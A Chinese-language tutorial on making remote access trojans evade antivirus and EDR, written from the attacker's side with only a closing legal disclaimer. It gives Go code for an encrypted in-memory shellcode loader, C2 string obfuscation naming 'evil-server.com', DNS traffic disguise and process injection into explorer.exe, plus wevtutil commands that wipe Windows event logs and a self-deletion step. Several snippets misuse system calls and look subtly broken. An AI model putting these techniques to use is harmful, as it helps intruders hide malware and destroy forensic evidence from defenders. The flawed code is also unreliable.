一、潜伏在暗处：远控木马的免杀困局
远控木马（Remote Access Trojan，简称RAT）在APT攻击链中占据举足轻重的地位。它的核心价值在于获得持久的远程控制权限，并配合攻击者的其他模块完成数据窃取、横向移动和权限维持。但在现代防御体系中，EDR（端点检测响应）和多种杀毒引擎的存在，导致远控木马的免杀技术成为攻击者绕过防御的关键。
从技术架构上来看，远控木马通常由以下两部分组成：
- C2基础设施：控制端服务器，用于接收受害者机器的心跳信息、执行指令。
- 载荷Stub：在目标机器上运行的恶意代码，负责与C2通信并执行攻击者命令。
然而，这两个部分都可能被防御体系检测到。今天，我们将专注于载荷Stub的免杀技术，详细讲解如何通过技术细节实现免杀。
---
二、隐匿的构造：Payload的免杀艺术
为了让载荷在目标机器上隐蔽执行，我们需要解决两个核心问题：
- 如何逃避静态分析（签名匹配、文件特征）？
- 如何绕过动态分析（行为检测、沙盒环境）？
静态分析的对抗——壳与混淆
静态分析的核心是通过特征匹配实现检测。例如，许多杀软会扫描文件中的函数调用、字符串和二进制特征。我们可以使用以下技术对抗：
技术一：自定义Shellcode加载器
将恶意代码以加密形式存储，并使用自定义加载器在内存中动态解密执行。下面是一个Go语言的简单实现：
<pre><code class="language-go">package main
import ( "syscall" "unsafe" "crypto/aes" "crypto/cipher" "encoding/base64" )
// AES密钥，用于解密Shellcode var key = []byte("0123456789abcdef")
// 加密后的Shellcode var encryptedShellcode = "uV1k2GkjS4tY9mRAA6h1kZtEhQ=="
// 解密函数 func decryptAES(ciphertext string, key []byte) []byte { ciphertextBytes, _ := base64.StdEncoding.DecodeString(ciphertext) block, _ := aes.NewCipher(key) cfb := cipher.NewCFBDecrypter(block, key[:block.BlockSize()]) plaintext := make([]byte, len(ciphertextBytes)) cfb.XORKeyStream(plaintext, ciphertextBytes) return plaintext }
// 动态加载Shellcode func injectShellcode(shellcode []byte) { addr, _, _ := syscall.Syscall( syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_EXEC, syscall.MAP_ANONYMOUS|syscall.MAP_PRIVATE, 0, ) copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode) syscall.Syscall(addr, 0, 0, 0) }
func main() { decryptedShellcode := decryptAES(encryptedShellcode, key) injectShellcode(decryptedShellcode) }</code></pre>
核心思路：
- 用AES对Shellcode进行加密，防止静态检测。
- 动态解密后，将Shellcode加载到内存并执行。
- 避免硬编码恶意函数，所有特征都隐藏在加密部分。
技术二：字符串与函数混淆
除了Shellcode本身，载荷中的敏感字符串（如C2地址）和函数调用也可能被检测。攻击者可以通过动态字符串拼接和函数重命名来对抗：
<pre><code class="language-go">package main
import "fmt"
func obfuscatedConnect(url string) { // 模拟动态拼接C2地址 c2 := fmt.Sprintf("%s%s", "https://", url) fmt.Println("Connecting to", c2) }
func main() { // 使用混淆后的函数和字符串 obfuscatedConnect("evil-server.com") }</code></pre>
---
动态分析的对抗——行为拆分与流量伪装
动态分析主要依赖沙盒环境，通过观察程序的行为来判断其恶意性。为对抗动态分析，我们需要让木马在行为上“躲猫猫”。
技术三：流量与协议伪装
传统RAT通常使用HTTP或Socket通信，这些协议容易被流量监控工具标记为异常。我们可以通过伪装为常见的合法协议（如TLS、DNS）来逃避检测。例如：
<pre><code class="language-go">package main
import ( "net" "fmt" )
func sendDNSQuery() { conn, _ := net.Dial("udp", "8.8.8.8:53") defer conn.Close() fmt.Println("Sending disguised DNS query...") // 模拟 DNS 数据包传输 conn.Write([]byte("fake_dns_request")) }
func main() { sendDNSQuery() }</code></pre>
---
三、躲不过的猎手：EDR绕过思路
EDR（Endpoint Detection and Response）是现代防御的核心。绕过EDR需要深度了解其检测逻辑。
EDR的核心弱点
- 规则依赖：许多EDR使用预定义规则检测行为，但规则覆盖有限。
- 性能折中：为了降低性能消耗，EDR通常不会对所有进程进行深度分析。
- 用户权限限制：某些EDR需要高权限才能检测内核级行为。
绕过技术
技术四：进程注入与合法父进程伪造
利用内存注入技术，将恶意代码注入到合法进程中。例如，注入到 explorer.exe 可以有效掩藏行为：
<pre><code class="language-go">package main
import ( "syscall" "unsafe" )
func injectIntoExplorer(shellcode []byte) { // 找到合法进程 Explorer pid := 1234 // 示例进程ID handle, _, _ := syscall.Syscall(syscall.SYS_OPEN, uintptr(pid), 0, 0) defer syscall.CloseHandle(handle) remoteMem, _, _ := syscall.VirtualAllocEx(handle, 0, len(shellcode), syscall.MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) syscall.WriteProcessMemory(handle, remoteMem, uintptr(unsafe.Pointer(&shellcode[0])), len(shellcode)) syscall.CreateRemoteThread(handle, nil, 0, remoteMem, nil, 0) }
func main() { shellcode := []byte{0xcc, 0xcc, 0xcc} // 替换为有效Shellcode injectIntoExplorer(shellcode) }</code></pre>
---
四、反追踪的最后一步：清除痕迹
攻击完成后，清除痕迹是绕过追溯分析的关键步骤。以下是两种常见技术：
日志清理
清除Windows事件日志，避免行为被管理员发现：
<pre><code class="language-shell">wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>
删除载荷文件
在执行完木马后，自动删除自身文件：
<pre><code class="language-go">package main
import ( "os" )
func selfDelete() { os.Remove("malware.exe") }
func main() { // 执行恶意行为 selfDelete() }</code></pre>
---
五、个人经验：深入免杀实践的思维逻辑
在实际APT攻击中，免杀技术的关键在于“细节打磨”。以下是一些建议：
- 多层免杀：静态混淆+动态伪装+载荷拆分，形成多维对抗。
- 定制开发工具：避免使用公开工具，降低签名命中率。
- 实时测试：在目标环境中不断测试免杀效果。
---
六、合法声明
本文仅供授权的安全测试与研究人员参考，请勿用于非法行为。如需在实际环境中应用，请确保获得目标授权，并遵守相关法律法规。